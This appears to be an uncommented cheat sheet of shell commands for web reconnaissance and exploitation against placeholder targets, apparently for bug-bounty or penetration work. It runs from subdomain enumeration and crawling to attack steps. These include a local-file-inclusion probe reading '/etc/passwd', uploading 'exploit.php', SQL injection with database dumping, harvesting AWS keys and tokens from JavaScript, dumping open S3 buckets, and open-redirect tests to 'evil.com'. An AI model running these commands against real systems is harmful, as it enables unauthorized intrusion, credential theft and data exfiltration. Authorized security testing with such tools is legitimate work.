subfinder -d target.com -silent -all -recursive -o subfinder_subs.txt

amass enum -passive -d target.com -o amass_passive_subs.txt

curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew crtsh_subs.txt

github-subdomains -d target.com -t YOUR_GITHUB_TOKEN -o github_subs.txt

cat *_subs.txt | sort -u | anew all_subs.txt

massdns -r resolvers.txt -t A -o S -w massdns_results.txt wordlist.txt

shuffledns -d target.com -list all_subs.txt -r resolvers.txt -o active_subs.txt

dnsx -l active_subs.txt -resp -o resolved_subs.txt

python3 subbrute.py target.com -w wordlist.txt -o brute_force_subs.txt

ffuf -u https://FUZZ.target.com -w wordlist.txt -t 50 -mc 200,403 -o ffuf_subs.txt

gau target.example.com | anew gau_results.txt

waybackurls target.example.com | anew wayback_results.txt

katana -u target.example.com -silent -jc -o katana_results.txt

echo "https://target.example.com" | hakrawler -depth 2 -plain -js -out hakrawler_results.txt

dnsx -ptr -l resolved_subs.txt -resp-only -o reverse_dns.txt

amass intel -asn <ASN_NUMBER> -o asn_results.txt

cloud_enum -k target.com

cat all_subs.txt | httpx -silent -title -o live_subdomains.txt

httpx -l resolved_subs.txt -p 80,443,8080,8443 -silent -title -sc -ip -o live_websites.txt

cat live_websites.txt | grep -i "login\|admin" | tee login_endpoints.txt

cat live_websites.txt | waybackurls | grep "\.js" | anew js_files.txt

python3 linkfinder.py -i js_files.txt -o js_endpoints.txt

cat js_files.txt | gf aws-keys | tee aws_keys.txt
cat js_files.txt | gf urls | tee sensitive_urls.txt

curl -X GET "https://api.example.com/resource" -H "Authorization: Bearer <extracted_key>"

python3 GitDorker.py -tf <github_token.txt> -q target.com -d dorks.txt -o git_dorks_output.txt

site:*.example.com inurl:"*admin | login" | inurl:.php | .asp

site:*.example.com ext:env | ext:yaml | ext:ini

site:*.example.com inurl:"id_rsa.pub" | inurl:".pem"

katana -list live_websites.txt -jc -o katana_urls.txt

gospider -s "https://target.com" -d 2 -o gospider_output/

echo "https://target.com" | hakrawler -depth 3 -plain -out hakrawler_results.txt

gau --subs target.com | anew archived_urls.txt
waybackurls target.com | anew wayback_urls.txt

cat archived_urls.txt | grep "=" | anew parameters.txt

arjun -u "https://target.example.com" -m GET,POST --stable -o params.json

python3 paramspider.py --domain target.com --exclude woff,css,js --output paramspider_output.txt

ffuf -u https://target.com/page.php?FUZZ=test -w /usr/share/wordlists/params.txt -o parameter_results.txt

cloud_enum -k target.com -b buckets.txt -o cloud_enum_results.txt

aws s3 ls s3://<bucket_name> --no-sign-request

python3 AWSBucketDump.py -b target-bucket -o dumped_data/

feroxbuster -u https://target.com -w /usr/share/wordlists/common.txt -r -t 20 -o recursive_results.txt

dirsearch -u https://target.com -w /usr/share/wordlists/content_discovery.txt -e php,html,js,json -x 404 -o dirsearch_results.txt

ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/content_discovery.txt -mc 200,403 -recursion -recursion-depth 3 -o ffuf_results.txt

kr scan https://api.target.com -w /usr/share/kiterunner/routes-large.kite -o api_routes.txt

amass intel -asn <ASN_Number> -o asn_ips.txt

shodan search "net:<ip_range>" --fields ip_str,port --limit 100

censys search "autonomous_system.asn:<ASN_Number>" -o censys_assets.txt

cat live_websites.txt | gf csrf | tee csrf_endpoints.txt

cat live_websites.txt | gf lfi | qsreplace "/etc/passwd" | xargs -I@ curl -s @ | grep "root:x:" > lfi_results.txt

curl -X POST -F "file=@exploit.php" https://target.com/upload

ghauri -u "https://target.com?id=1" --dbs --batch

cat js_files.txt | grep -Ei "key|token|auth|password" > sensitive_data.txt

cat urls.txt | grep "=http" | qsreplace "https://evil.com" | xargs -I@ curl -I -s @ | grep "evil.com"